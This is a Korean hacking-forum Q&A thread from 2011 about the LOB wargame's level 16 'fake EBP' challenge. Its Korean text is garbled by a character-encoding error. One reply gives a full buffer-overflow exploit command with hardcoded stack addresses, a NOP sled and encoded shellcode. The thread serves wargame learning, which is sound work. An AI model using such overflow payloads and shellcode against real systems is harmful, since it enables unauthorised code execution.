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2844, 7/143 |
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incaro | |||||||
[LOB] LEVEL16 - FAKE EBP ¹®Á¦ Áú¹®. | |||||||
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=3216 [º¹»ç]
Hit : 2922 Date : 2011/06/11 07:18
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¸Û¸Û | À̰͵µ ³»ÀÏ ´äº¯ µå¸±²²¿ä~ ½Ã°£ÀÌ ³Ñ ´Ê¾î¼~~ | 2011/07/04 | |
¸Û¸Û | ÀÌ·² ¶© gdb¸¦ ºÙ¿©¼ instruction ´ÜÀ§·Î ÄÚµå È帧À» µû¶ó°¡¸ç ¹®Á¦Á¡À» ã¾Æº¸¼¼¿é! | 2011/07/06 | |
¸Û¸Û | Âü°í·Î Á¦°¡ »ç¿ëÇß´ø payloadÀÔ´Ï´Ù Àúµµ argv[2]¸¦ ½è¾ú±¸¿ä~ ./zombie_assassin `perl -e 'printf "\xe7\xfb\xff\xbf"x10 . "\xb0\xfb\xff\xbf" . "\xdf\x84\x04\x08"'` `perl -e 'printf "\x90"x50 . "\xb8\xb8\x91\x2e\x55\x31\xc9\xd9\xc3\xd9\x74\x24\xf4\xb1\x0b\x5d\x31\x45\x13\x03\x45\x13\x83\xed\xfc\xe2\x4d\xfb\x25\x0d\x34\xae\x5f\xc5\x6b\x2c\x29\xf2\x1b\x9d\x5a\x95\xdb\x89\xb3\x07\xb2\x27\x45\x24\x16\x50\x5d\xab\x96\xa0\x71\xc9\xff\xce\xa2\x7e\x97\x0e\xea\xd3\xee\xee\xd9\x54"'` \xb8\xb8 .... Àº Æò¹üÇÑ ½©ÄÚµåÀÔ´Ï´Ù |
2011/07/06 | |
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